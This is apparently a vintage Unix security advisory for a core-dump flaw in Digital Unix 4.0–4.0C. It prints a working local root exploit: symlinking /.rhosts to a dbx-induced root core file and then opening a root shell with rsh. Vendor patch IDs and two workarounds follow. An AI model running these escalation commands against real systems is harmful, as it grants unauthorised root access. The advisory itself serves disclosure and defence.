COMMAND
core()
SYSTEMS AFFECTED
Digital Unix 4.0, 4.0A, 4.0B, 4.0C
PROBLEM
John McDonald have verified this on 3 boxes running Digital unix
4.0. If you run dbx (tested on 3.11.10) on a setuid root program
that you have read access to, the program will core dump and
create a root owned 600 perm core in the current directory. You
might have to run dbx one or two times to get it to work.. The
message you are looking for is:
dbx version 3.11.10
Type 'help' for help.
warning: /bin/crontab has no symbol table -- very little is supported
without it
Could not attach to process 10112
cannot run program
Exiting due to error during startup
Now, this core dump will follow symlinks.. and using the trick
with embedding + + in a core dump, you would can easily grab root.
ln -s /.rhosts core
DISPLAY="
+ +
"
export DISPLAY
dbx /bin/crontab
rsh -l root localhost /bin/sh -i
DU doesn't allow +'s in /.rhosts, at least under C2. However,
this was tested with the C2 security package installed under 4.0,
and + + appears to work fine. There is an option called NO_PLUS
that can be set in /etc/hosts.equiv that will globally prevent the
+ wildcard.
The problem isn't procfs per se, but rather that it causes the
program to dump core. What happens in that in core(), vn_open()
is called just before it's supposed to `temporarily restore real
user/group ids for file operations'. For anyone with source, the
fun happens around line 4350 in kernel/bsd/kern_sig.c.
SOLUTION
Fix has been already written and well tested. This fix has
already been submitted to the BL8 patch kit sources pools for the
various V4.0* versions, and is due for public release quite soon.
You can get the BL8 patch kit(s) for your version(s) either from
the web (the usual place) or from your local CSC. The (old style)
patch ID numbers that should appear in the various patch kit
README's are:
Kit Build OS Version Patch ID
--------- ---------- --------
BL8 V4.0 OSF400-283
BL8 V4.0a OSF405-400283
BL8 V4.0b OSF410-400283
BL8 V4.0c OSF415-400283
To avoid the problem of core file creation, Johan Danielsson said
to patch /vmunix:
# cp /vmunix /vmunix.save
# dbx /vmunix
(dbx) ((unsigned*)core+82)/1 i
[core:5261, 0xfffffc000026ff48] and r1, r2, r1
(dbx) patch *((unsigned*)core+82) = 0x203f0001
[core:5261, 0xfffffc000026ff48] lda r1, 1(r31)
(dbx) q
# reboot
Paul Szabo's colleague of mine suggests that, since /sbin/rc3.d
starts anything a user's process could be a descendant of, a
simpler method might be to insert one line into /sbin/rc3 :
ulimit -h -c 0
This solution seems to work in practice.